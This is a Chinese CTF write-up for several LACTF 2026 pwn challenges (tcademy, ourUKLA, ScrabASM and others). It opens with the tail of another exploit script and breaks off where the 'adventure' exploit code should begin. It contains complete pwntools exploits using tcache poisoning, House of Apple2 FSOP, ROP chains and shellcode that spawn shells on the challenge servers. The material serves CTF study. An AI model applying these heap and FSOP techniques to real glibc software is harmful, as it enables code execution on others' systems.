	io.sendlineafter(b'idx:\n', str(idx).encode())

def show(idx):
	cat()
	io.sendlineafter(b'choice:\n', b'3')
	io.sendlineafter(b'idx:\n', str(idx).encode())

def edit(idx, content):
	cat()
	io.sendlineafter(b'choice:\n', b'4')
	io.sendlineafter(b'idx:\n', str(idx).encode())
	io.sendafter(b'content:\n', content)

def malloc_assert(idx, size):
	cat()
	io.sendlineafter(b'choice:\n', b'1')
	io.sendlineafter(b'idx:\n', str(idx).encode())
	io.sendlineafter(b'size:\n', str(size).encode())
	
def final_attack_gen(heap):
	fake_io_base = heap + 0xb60
	pop_rax_ret = libc.address + 0x45eb0
	pop_rdi_ret = libc.address + 0x2a3e5
	pop_rsi_ret = libc.address + 0x2be51
	pop_rdx_pop_r12_ret = libc.address + 0x11f497
	syscall_ret = libc.address + 0x91396
	rop_chain = flat([
		3,
		pop_rdi_ret,
		0,
		syscall_ret,		# close(0)
		pop_rax_ret,
		2,
		pop_rdi_ret,
		fake_io_base + 0x100,
		syscall_ret,		# open("/flag")
		pop_rax_ret,
		0,
		pop_rdi_ret,
		0,
		pop_rsi_ret,
		fake_io_base + 0x400,
		pop_rdx_pop_r12_ret,
		0x100,
		0,
		syscall_ret,		# read(0, buf, 0x100)
		pop_rax_ret,
		1,
		pop_rdi_ret,
		1,
		pop_rsi_ret,
		fake_io_base + 0x400,
		pop_rdx_pop_r12_ret,
		0x100,
		0,
		syscall_ret		# write(1, buf, 0x100)
	])
	fake_io_and_rop = flat({
		0x78: heap,
		0x88: libc.sym['setcontext'] + 0x3d,
		0x90: fake_io_base + 0x110,
		0xC8: libc.sym['_IO_wfile_jumps'] - 0x20,
		0xf0: b'/flag\x00',
		0x168: libc.sym['setcontext'] + 0x3d,
		0x1a0: fake_io_base + 0x210,		# rsp
		0x1a8: pop_rax_ret,		# rip
		0x1e0: fake_io_base + 0x110,
		0x200: rop_chain
		},
		filler=b"\x00"
	)
	return fake_io_and_rop

def attack():
	login()

	add(0, 0x458, b'AAA')		# init
	add(1, 0x468, b'ZZZ')
	add(2, 0x448, b'BBB')
	add(3, 0x468, b'ZZZ')
	add(4, 0x438, b'CCC')

	delete(0)		# leak
	add(5, 0x468, b'ZZZ')
	show(0)
	io.recvuntil(b'Context:\n')
	fd = u64(io.recv(6).ljust(8, b'\x00'))
	libc.address = fd - 0x21a0e0
	log.info(f'libc = {hex(libc.address)}')
	stderr = libc.symbols['stderr']
	io.recv(10)
	fdn = u64(io.recv(6).ljust(8, b'\x00'))
	heap = fdn - 0x290
	log.info(f'heap = {hex(heap)}')

	delete(2)		# fix
	add(6, 0x448, final_attack_gen(heap))
	
	edit(0, p64(fd) + p64(fd) + p64(fdn) + p64(stderr - 0x20))		# largebin attack - stderr
	delete(6)
	add(7, 0x468, b'ZZZ')

	topsize_tar = heap + 0x2140 + 8 - 5		# largebin attack - topsize
	edit(0, p64(fd) + p64(fd) + p64(fdn) + p64(topsize_tar - 0x20))
	delete(4)
	gdb.attach(io)

	malloc_assert(8, 0x468)
	io.interactive()

attack()

# COMMAND | r00tQWB QWXFARG
# LOGIN | r00tQWB QWXFadmin
# CAT | r00tQWB QWXF\xff
# rsp 0xa0; rcx(rip) 0xa8;

LACTF2026-pwn 个人题解

Wed, 11 Feb 2026 02:38:00 +0000

tic-tac-no

IDA

main

井字棋

playerMove

数组越界写

checkWin

相同字符就胜利

bss

越界写把电脑的棋子变成自己的就行了，脚本都不用写

ScrabASM

IDA

main

swap_tile

play

其实就是执行随机生成的 shellcode ，但可以更换任意字节为随机字节

攻击思路

由于 srand 以时间作种子，可以考虑在同时运行本地随机数生成程序和攻击脚本以预测随机数，进而控制 shellcode

且由于只有 15 字节的空间，我们可以先执行 read shellcode 再自行写入提权 shellcode

(这张图片用了队友 ItsFlicker 的，懒得自己再截了)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


add al, 0xd
push rax
pop rsi
xor edi, edi
push rdi
pop rax
mov dl, 0xf0
syscall

{ 0x04, 0x0D, 0x50, 0x5E, 0x31, 0xFF, 0x57, 0x58, 0xB2, 0xF0, 0x0F, 0x05 }

exp

c

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35


#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {
 int t = time(0);
 srand(t + 2);
 FILE *fp = fopen("./beyond.txt", "w");
 if (fp == NULL) {
 printf("failed");
 }
 for (int i = 1; i <= 1000; i++) {
 fprintf(fp, "%02x ", rand() % 0x100);
 }
 fclose(fp);
 srand(t);
 fp = fopen("./present.txt", "w");
 if (fp == NULL) {
 printf("failed");
 }
 for (int i = 1; i <= 1000; i++) {
 fprintf(fp, "%02x ", rand() % 0x100);
 }
 fclose(fp);
 srand(t + 1);
 fp = fopen("./future.txt", "w");
 if (fp == NULL) {
 printf("failed");
 }
 for (int i = 1; i <= 1000; i++) {
 fprintf(fp, "%02x ", rand() % 0x100);
 }
 fclose(fp);
 return 0;
}

python

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	io = process('./chall')
else:
	io = remote('chall.lac.tf', 31338)

nowrd = []
prsrd = []
ftrrd = []
bydrd = []
tag = ''
nowstep = [0] * 14
rout = []
fag = [0] * 14
sc = ['04', '0d', '50', '5e', '48', '31', 'ff', '57', '58', 'b2', 'f0', '0f', '05']

def rdbt():
	global nowrd
	io.recvuntil(b'Your starting tiles:')
	for i in range(14):
		io.recvuntil(b'| ')
		nowrd.append(io.recv(2).decode('utf-8'))

def prsbt():
	global prsrd
	with open('present.txt', 'r', encoding = 'utf-8') as f:
		prsrd = f.read().split()

def ftrbt():
	global ftrrd
	with open('future.txt', 'r', encoding = 'utf-8') as f:
		ftrrd = f.read().split()

def bydbt():
	global bydrd
	with open('beyond.txt', 'r', encoding = 'utf-8') as f:
		bydrd = f.read().split()

def randswap():
	prepos = 13
	for nowpos in range(14, 1000):
		flag = 0
		op = 0
		for i in range(len(sc)):
			if sc[i] == nowrd[nowpos] and fag[i] == 0:
				flag = i
				fag[i] = 1
				op = 1
				break
		if op == 1:
			nowstep[flag] = nowpos - prepos
			prepos = nowpos
			rout.append(flag)
		if len(rout) == 14:
			break

def swapidx(idx):
	io.sendline(b'1')
	io.sendline(str(idx).encode())

def attack():
	global rout
	global nowstep
	global nowrd
	global tag
	rdbt()
	prsbt()
	ftrbt()
	bydbt()
	flag = 7
	for i in range(len(nowrd)):
		if nowrd[i] != prsrd[i]:
			flag = flag & 0b110
		if nowrd[i] != ftrrd[i]:
			flag = flag & 0b101
		if nowrd[i] != bydrd[i]:
			flag = flag & 0b011
	if flag == 1:
		tag = 'prs'
		nowrd = prsrd
	elif flag == 2:
		tag = 'prs'
		nowrd = ftrrd
	elif flag == 4:
		tag = 'prs'
		nowrd = bydrd
	print(tag)
	randswap()
	for i in rout:
		for _ in range(nowstep[i]):
			swapidx(i)
	io.sendlineafter(b'> ', b'2')
	mysc = shellcraft.sh()
	io.send(asm(mysc))
	io.interactive()

attack()

tcademy

checksec

保护全开

IDA

main

菜单题

create_note

只有两个槽位

delete_note

print_note

puts 可以通过溢出泄露一些内容

get_note_index

read_data_into_note

此处有由整数溢出造成的堆溢出漏洞

攻击思路

glibc 版本为 2.35 ，是高版本，有 PIE 保护，没有 hook 函数可以劫持

所以考虑劫持某个 _IO_FILE 结构体用来 getshell ，在此之前应先 leak libc

可以通过 tcache poisoning 去把一个 chunk 放入 unsortedbin 中来实现 libc leak

在高版本 libc 中， tcache 劫持的要求会更加严格

首先是 safe-linking 机制，这需要还原泄露出的 next 指针，并且 key 的生成不再与堆地址相关，改为和 canary 类似的随机 8 字节数据

然后是分配 tcache 时的判断，决定 tcache 是否分配的标准由 entry 是否为空变为 counts 是否为 0 ，不能再简单粗暴地劫持 tcache_pthread_struct 就完事了

对于这道题目而言，更加棘手的是同时持有的 chunk 槽位只有两个，而想要通过 tcache poisoning 把目标地址写的权限拿到手至少需要持有两个该 tcache 的 chunk ，这需要我们修改 counts ，而在能够修改 counts 之前的 tcache_pthread_struct 劫持步骤，我们必须预先申请两个相同大小的 chunk 再放入 tcache

而且还要注意不要破坏掉 size ，破坏了也要修复，不然 delete 的时候有你好受

在进行 unsortedbin 布置时我们采用了堆溢出修改 size 结合 counts 篡改的方式，这样可以在持有该 chunk 的情形下将其定位到 unsortedbin ，事后直接 free 即可，非常方便

还要注意一个小细节： tcache_pthread_struct 会被劫持也会被释放，这样的话前面的一些 counts 会变得比较奇怪，而且用于劫持 tcache_pthread_struct 的那个 tcache 会废掉，需要更换 size 做接下来的步骤

最后劫持 IO_2_1_stdout 打 house_of_apple2 即可

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 102

if debug:
	io = process('./chall_patched')
else:
	io = remote('chall.lac.tf', 31144)

libc = ELF('./libc.so.6')

def create(index, size, content):
	io.sendlineafter(b'Choice > ', b'1')
	io.sendlineafter(b'Index: ', str(index).encode())
	io.sendlineafter(b'Size: ', str(size).encode())
	io.sendafter(b'Data: ', content)

def delete(index):
	io.sendlineafter(b'Choice > ', b'2')
	io.sendlineafter(b'Index: ', str(index).encode())

def printnote(index):
	io.sendlineafter(b'Choice > ', b'3')
	io.sendlineafter(b'Index: ', str(index).encode())

def calcnext(ptr, pos):
	return (ptr // 0x1000) ^ pos

def attack():
	msize = 0x7
	nsize = 0xf8
	osize = 0xe8

	create(0, msize, b'\n')		# build arch
	create(1, nsize, b'\n')
	delete(0)
	delete(1)

	payload = b'A' * (0x20 - 1) + b'B'		# leak heap
	create(0, msize, payload)
	printnote(0)
	io.recvuntil(b'AB')
	heap = u64(io.recv(5).ljust(8, b'\x00')) * 0x1000
	log.info(f'heap = {hex(heap)}')
	delete(0)

	payload = b'A' * 0x18 + p64(0x101)		# fix up
	create(0, msize, payload)
	delete(0)
	create(0, nsize, b'\n')
	create(1, nsize, b'\n')
	delete(1)
	delete(0)
	
	toentry = calcnext(heap + 0x2c0, heap + 0x10)		# tcache_pthread_struct hijack
	payload = b'A' * 0x18 + p64(0x91) + p64(toentry).ljust(0x80, b'\x00') + p64(0x90) + p64(0x71)
	create(0, msize, payload)
	delete(0)
	create(0, nsize, '\n')
	payload = (p16(1) + p16(0) * 6 + p16(8)).ljust(0x80, b'\x00')
	create(1, nsize, payload)

	delete(0)		# into unsortedbin
	payload = b'A' * (0x20 - 1) + b'B'
	create(0, msize, payload)
	printnote(0)
	io.recvuntil(b'AB')
	libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x21ace0
	log.info(f'libc = {hex(libc.address)}')
	delete(0)

	payload = b'A' * 0x18 + p64(0x91) 	# fix up
	create(0, msize, payload)
	delete(0)
	delete(1)
	create(0, osize, b'\n')
	create(1, osize, b'\n')
	delete(1)
	delete(0)

	stdout = libc.sym['_IO_2_1_stdout_']		# stdout hijack
	payload = b'A' * 0x18 + p64(0x101) + p64(0) * 31 + p64(0x101) + p64(0) * 31 + p64(0xf1) + p64(calcnext(heap + 0x4c0, stdout))
	create(0, msize, payload)
	delete(0)
	create(0, osize, '\n')
	fake_io = flat({
			0x0: b" sh;",
			0x28: libc.sym['system'],
			0x88: heap,
			0xA0: stdout - 0x40,
			0xD8: libc.sym['_IO_wfile_jumps'] - 0x20
		},
		filler=b"\x00"
	)
	log.info(f'stdout = {hex(stdout)}')
	create(1, osize, fake_io)
	io.interactive()

attack()

ourUKLA

code

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define MAX_STUDENTS 10

#define UNDERGRAD 0x1
#define MASTERS 0x2
#define PHD 0x4
#define POSTDOC 0x8
#define HASNOLIFE 0x10
#define ACMCYBER 0x20

struct student_info {
 char noeditingmyptrs[0x10]; // No editing my pointers !!!
 char *name;
 unsigned long attributes;
 char major[0x40];
 char aux[0x90];
};
struct student {
 unsigned long array_id;
 unsigned long uid;
 struct student_info *sinfo;
};

struct student *ourUKLA[MAX_STUDENTS] = {0};
int cur_index = 0;

void menu() {
 puts("________________________________________________");
 puts("| ---------- |");
 puts("| ourUKLA v0.1.7 |");
 puts("| ---------- |");
 puts("| 1. Add student |");
 puts("| 2. Get student info |");
 puts("| 3. Remove student |");
 puts("|______________________________________________|");
 puts("");
 printf("Option > ");
}

void init() {
 setvbuf(stdout, NULL, _IONBF, 0);
 malloc(0x18);
 puts("Administrator, welcome to ourUKLA.");
 puts("This is the portal for the University of Kungkungkung LAhur.\n");
}

void fill_student_info(struct student *s) {

 struct student_info *sinfo;
 if (s->sinfo == NULL) sinfo = malloc(sizeof(struct student_info));
 else sinfo = s->sinfo;

 char *name = malloc(0x100);
 printf("Student name: ");
 read(STDIN_FILENO, name, 0x100);
 sinfo->name = name;

 printf("Student major: ");
 read(STDIN_FILENO, sinfo->major, 0x40);

 printf("Student attributes (e.g. undergrad = 1): ");
 scanf("%lu", &sinfo->attributes);
 while ((getchar()) != '\n');
 sinfo->attributes |= HASNOLIFE | ACMCYBER;

 printf("Require space to add aux data (y/n)? ");
 char res = getchar();
 getchar();
 if (res == 'y') {
 printf("Aux data: ");
 read(STDIN_FILENO, sinfo->aux, 0x90);
 }

 s->sinfo = sinfo;
}

void add_student() {

 char* old_top = *((char**)puts + (0x166580/8)) + 0x10;
 struct student *s = ourUKLA[cur_index] = malloc(sizeof(struct student));
 if ((void *)old_top == (void *)s) s->sinfo = NULL;

 s->array_id = cur_index++;
 cur_index %= MAX_STUDENTS;

 printf("Enter student UID: ");
 scanf("%ld", &s->uid);
 while ((getchar()) != '\n');

 printf("Enter student information now (y/n)? You can do it later: ");
 char res = getchar();
 getchar();
 if (res == 'y') fill_student_info(s);

 printf("Student with UID %lu added at index %lu!\n", s->uid, s->array_id);
}

void get_student_info() {

 unsigned long uid;
 printf("Enter student UID: ");
 scanf("%lu", &uid);

 for (int i = 0; i < MAX_STUDENTS; i++) {
 if (ourUKLA[i] == NULL) continue;

 if (ourUKLA[i]->uid == uid) {

 struct student_info *sinfo = ourUKLA[i]->sinfo;
 if (sinfo) {
 puts("STUDENT INFO");
 printf("Student Name: %s\n", sinfo->name);
 printf("Student Major: %s\n", sinfo->major);
 printf("Student Attributes (number): %lu\n", sinfo->attributes);
 }
 return;
 }
 }
}

void remove_student() {

 unsigned long uid;
 printf("Enter student UID: ");
 scanf("%lu", &uid);

 for (int i = 0; i < MAX_STUDENTS; i++) {
 if (ourUKLA[i] == NULL) continue;

 if (ourUKLA[i]->uid == uid) {

 struct student_info *sinfo = ourUKLA[i]->sinfo;
 if (sinfo) {
 free(sinfo->name);
 free(sinfo);
 }
 free(ourUKLA[i]);

 ourUKLA[i] = NULL;
 return;
 }
 }
}

int main() {
 
 init();

 int choice;
 while (1) {
 menu();
 scanf("%d", &choice);
 switch (choice) {
 case 1:
 add_student();
 break;
 case 2:
 get_student_info();
 break;
 case 3:
 remove_student();
 break;
 default:
 puts("cmon you're an administrator don't tell me you don't know how to follow basic instructions!!");
 exit(1);
 };
 }

 return 0;
}

菜单堆题，最多可以持有 10 个 chunk ，但可以无限申请

有关于 student-info 的 UAF

攻击思路

突破口在于 student-info 的 UAF ，当申请一个新的 student 时，若 s_info 不为空，则不重新申请

于是就可以利用这一点，在某个合适 chunk 中写入 leak 出的 _IO_list_all - 0x10 地址，然后把这个 chunk 放入 unsortedbin 中再进行若干次单采 student 使某一次恰好令 s_info = _IO_list_all - 0x10 ，如果此时选择填写 name 的话，刚好可以在 _IO_list_all 的位置上放上 name 指针，这也是一种任意地址写堆地址的原语

然而在达成原语之前需要先 leak heap 和 leak libc ，而 leak 过程会破坏堆的结构，使后续过程难以进行；因此我们可以先 malloc 至没有 freed chunk ，再重新布局

关于布局，核心思路就是：填满目标大小的 tcache ，从而创造出一个 unsortedbin chunk

最后 name 上打 house of apple2 即可

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

if debug:
	io = process('./chall_patched')
else:
	io = remote('chall.lac.tf', 31147)

libc = ELF('./libc.so.6')

def calc_real_next(next):
	ori = next
	for i in range(4):
		next = ori ^ (next >> 12)
	return next

def fill_student_info(name, major, attributes, yon, aux):
	io.sendafter(b'name: ', name)
	io.sendafter(b'major: ', major)
	
	io.sendlineafter(b'(e.g. undergrad = 1): ', str(attributes).encode())
	if yon:
		io.sendlineafter(b'(y/n)? ', b'y')
		io.sendafter(b'data: ', aux)
	else:
		io.sendlineafter(b'(y/n)? ', b'n')

def add_student(UID, info = False, name = b'', major = b'', attributes = b'', yon = False, aux = b''):
	io.sendlineafter(b'Option > ', b'1')
	io.sendlineafter(b'UID: ', str(UID).encode())
	if info:
		io.sendlineafter(b'later: ', b'y')
		fill_student_info(name, major, attributes, yon, aux)
	else:
		io.sendlineafter(b'later: ', b'n')

def get_student_info(UID):
	io.sendlineafter(b'Option > ', b'2')
	io.sendlineafter(b'UID: ', str(UID).encode())

def remove_student(UID):
	io.sendlineafter(b'Option > ', b'3')
	io.sendlineafter(b'UID: ', str(UID).encode())

def exit_fsop():
	io.sendlineafter(b'Option > ', b'4')

def attack():
	for i in range(10):		# init
		add_student(i, True, b'A', b'A', b'A', True, b'A')
	for i in range(8):
		remove_student(i)
	for i in range(7):
		add_student(i, True, b'A', b'A', b'A', True, b'A')

	get_student_info(0)		# leak heap
	io.recvuntil(b'Name: A')
	leak_next = u64(io.recv(5).ljust(8, b'\x00'))
	heap = (calc_real_next(leak_next) - 0x1e) * 0x100
	log.info(f'heap = {hex(heap)}')

	add_student(7)		# leak libc
	get_student_info(7)
	io.recvuntil(b'Name: ')
	libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x1e6c20
	log.info(f'libc = {hex(libc.address)}')
	fsop = libc.symbols['_IO_list_all'] - 0x10

	add_student(8)		# fix
	add_student(9)
	for i in range(14):
		add_student(i % 10)
	for i in range(7):
		add_student(i, True, b'A', b'A', b'A', True, b'A')
	
	for i in range(7):		# init
		add_student(i, True, b'A', b'A', b'A', True, b'A')
	payload = b'A' * 0x10 + p64(fsop)
	add_student(7, True, b'A', payload, b'A', True, b'A')
	add_student(8, True, b'A', b'A', b'A', True, b'A')
	add_student(9, True, b'A', b'A', b'A', True, b'A')
	for i in range(8):
		remove_student(i)
	for i in range(7):
		add_student(i, True, b'A', b'A', b'A', True, b'A')
	add_student(7)
	add_student(8)
	
	fake_io_base = heap + 0x40b0		# house of apple2
	fake_io = flat({
			0x0: b" sh;",
			0x28: 1,
			0x68: libc.sym['system'],
			0x88: fake_io_base + 0x1000,
			0xA0: fake_io_base,
			0xD8: libc.sym['_IO_wfile_jumps'],
			0xE0: fake_io_base
		},
		filler=b"\x00"
	)
	add_student(9, True, fake_io, b'A', b'A', True, b'A')
	
	exit_fsop()
	io.interactive()

attack()

adventure

checksec

1
2
3
4
5
6
7
8
9


[*] '/home/RatherHard/CTF-pwn/LACTF/adventure/chall'
 Arch: amd64-64-little
 RELRO: Full RELRO
 Stack: No canary found
 NX: NX enabled
 PIE: PIE enabled
 SHSTK: Enabled
 IBT: Enabled
 Stripped: No

code

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(void);

#define BOARD_SIZE 16
#define MAX_MOVES 300
#define INPUT_SIZE 8
#define NUM_ITEMS 8

char history[MAX_MOVES][INPUT_SIZE];
int move_count = 0;

int player_x = 0;
int player_y = 0;

const char *last_item = "None";

int board[BOARD_SIZE][BOARD_SIZE];

const char *item_names[] = {
 "Sword",
 "Shield",
 "Potion",
 "Key",
 "Scroll",
 "Amulet",
 "Crown",
 "Flag"
};

const char item_symbols[] = {
 'S', 'H', 'P', 'K', 'L', 'A', 'C', 'F'
};

int inventory[NUM_ITEMS] = {0};

void print_banner(void) {
 puts("");
 puts(" ╔═══════════════════════════════════════════╗");
 puts(" ║ ⚔️ ADVENTURE IN THE DARK MAZE ⚔️ ║");
 puts(" ║ ~ A Quest for Glory ~ ║");
 puts(" ╚═══════════════════════════════════════════╝");
 puts("");
 puts(" In the ancient dungeon of the Forgotten Realm,");
 puts(" treasures await the brave adventurer...");
 puts("");
}

void print_help(void) {
 puts("");
 puts(" ┌─────────── COMMANDS ───────────┐");
 puts(" │ n/s/e/w - Move North/South/ │");
 puts(" │ East/West │");
 puts(" │ look - Look around │");
 puts(" │ inv - Check inventory │");
 puts(" │ grab - Pick up item │");
 puts(" │ help - Show this help │");
 puts(" │ quit - Leave the dungeon │");
 puts(" └────────────────────────────────┘");
 puts("");
}

void print_inventory(void) {
 puts("");
 puts(" ╔═════════ INVENTORY ═════════╗");
 int item_count = 0;
 for (int i = 0; i < NUM_ITEMS; i++) {
 if (inventory[i]) {
 printf(" ║ [%c] %-22s ║\n", item_symbols[i], item_names[i]);
 item_count++;
 }
 }
 if (item_count == 0) {
 puts(" ║ (empty) ║");
 }
 puts(" ╠═════════════════════════════╣");
 printf(" ║ %2d,%2d %d/%d %3d/%3d %-6s ║\n",
 player_x, player_y, item_count, NUM_ITEMS, move_count, MAX_MOVES, last_item);
 puts(" ╚═════════════════════════════╝");
 puts("");
}

void look_around(void) {
 puts("");
 puts(" ~~ You peer into the darkness ~~");
 printf(" You stand at position (%d, %d).\n", player_x, player_y);

 if (board[player_y][player_x] > 0) {
 int item_idx = board[player_y][player_x] - 1;
 printf(" A glimmering %s lies at your feet!\n", item_names[item_idx]);
 } else {
 puts(" The cold stone floor is bare.");
 }
 puts("");
}

void check_flag_password(void) {
 char password[0020];
 puts("");
 puts(" ╔═══════════════════════════════════════╗");
 puts(" ║ The sacred Flag pulses with power! ║");
 puts(" ║ Speak the ancient password to ║");
 puts(" ║ unlock its secrets... ║");
 puts(" ╚═══════════════════════════════════════╝");
 puts("");
 printf(" Password: ");
 fflush(stdout);

 if (fgets(password, 0x20, stdin) == NULL) {
 return;
 }
 password[strcspn(password, "\n")] = 0;

 if (strcmp(password, "easter_egg") == 0) {
 puts("");
 puts(" *** CONGRATULATIONS! ***");
 puts(" The Flag's magic flows through you!");
 puts(" You have conquered the dungeon!");
 puts("");
 } else {
 puts("");
 puts(" The Flag rejects your words...");
 puts(" But you keep it anyway.");
 puts("");
 }
}

void grab_item(void) {
 if (board[player_y][player_x] == 0) {
 puts(" There is nothing here to grab.");
 return;
 }

 int item_idx = board[player_y][player_x] - 1;
 printf(" You pick up the %s!\n", item_names[item_idx]);
 inventory[item_idx] = 1;
 board[player_y][player_x] = 0;
 last_item = item_names[item_idx];

 if (item_idx == 7) {
 check_flag_password();
 }
}

void move_player(int dx, int dy) {
 int new_x = player_x + dx;
 int new_y = player_y + dy;

 if (new_x < 0 || new_x >= BOARD_SIZE || new_y < 0 || new_y >= BOARD_SIZE) {
 puts(" You bump into a cold stone wall.");
 return;
 }

 player_x = new_x;
 player_y = new_y;

 const char *directions[] = {"north", "south", "east", "west"};
 int dir_idx = (dy == -1) ? 0 : (dy == 1) ? 1 : (dx == 1) ? 2 : 3;
 printf(" You venture %s...\n", directions[dir_idx]);

 if (board[player_y][player_x] > 0) {
 int item_idx = board[player_y][player_x] - 1;
 printf(" You spot a %s here!\n", item_names[item_idx]);
 }
}

void init_board(void) {
 memset(board, 0, sizeof(board));

 unsigned long addr = (unsigned long)main;
 unsigned char *bytes = (unsigned char *)&addr;

 for (int i = NUM_ITEMS - 1; i >= 0; i--) {
 int x = (bytes[i] >> 4) & 0x0F;
 int y = bytes[i] & 0x0F;

 while (board[y][x] != 0) {
 x = (x + 1) % BOARD_SIZE;
 if (x == 0) y = (y + 1) % BOARD_SIZE;
 }

 board[y][x] = i + 1;
 }
}

int main(void) {
 char input[INPUT_SIZE];

 setbuf(stdout, NULL);
 setbuf(stdin, NULL);

 print_banner();
 init_board();
 print_help();

 while (move_count < MAX_MOVES) {
 printf("> ");
 fflush(stdout);

 if (fgets(input, sizeof(input), stdin) == NULL) {
 break;
 }

 input[strcspn(input, "\n")] = 0;
 strncpy(history[move_count], input, INPUT_SIZE - 1);
 history[move_count][INPUT_SIZE - 1] = '\0';
 move_count++;

 if (strcmp(input, "n") == 0) {
 move_player(0, -1);
 } else if (strcmp(input, "s") == 0) {
 move_player(0, 1);
 } else if (strcmp(input, "e") == 0) {
 move_player(1, 0);
 } else if (strcmp(input, "w") == 0) {
 move_player(-1, 0);
 } else if (strcmp(input, "look") == 0) {
 look_around();
 } else if (strcmp(input, "inv") == 0) {
 print_inventory();
 } else if (strcmp(input, "grab") == 0) {
 grab_item();
 } else if (strcmp(input, "help") == 0) {
 print_help();
 } else if (strcmp(input, "quit") == 0) {
 puts("");
 puts(" You flee the dungeon in fear...");
 puts(" Perhaps another day, brave adventurer.");
 puts("");
 break;
 } else if (strlen(input) > 0) {
 puts(" Unknown command. Type 'help' for options.");
 }

 if (move_count % 25 == 0 && move_count < MAX_MOVES) {
 printf(" [%d moves remaining...]\n", MAX_MOVES - move_count);
 }
 }

 if (move_count >= MAX_MOVES) {
 puts("");
 puts(" ════════════════════════════════════");
 puts(" The dungeon's magic forces you out!");
 puts(" You have exhausted your journey...");
 puts(" ════════════════════════════════════");
 puts("");
 }

 return 0;
}

棋盘游戏，发现 main 的地址通过棋盘上 item 的坐标信息给出，可以泄露 PIE

check_flag_password 有栈溢出，溢出 0x10 字节

history 里面可以布置 ropchain 从而达成栈迁移

攻击思路

leak pie 之后在 history 上布置 ropchain ，通过 check_flag_password 的栈溢出把栈迁移到 history 上跑 ropchain 去 leak libc 顺便 reread

然后 reread 的时候写入 onegadget 就行了

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
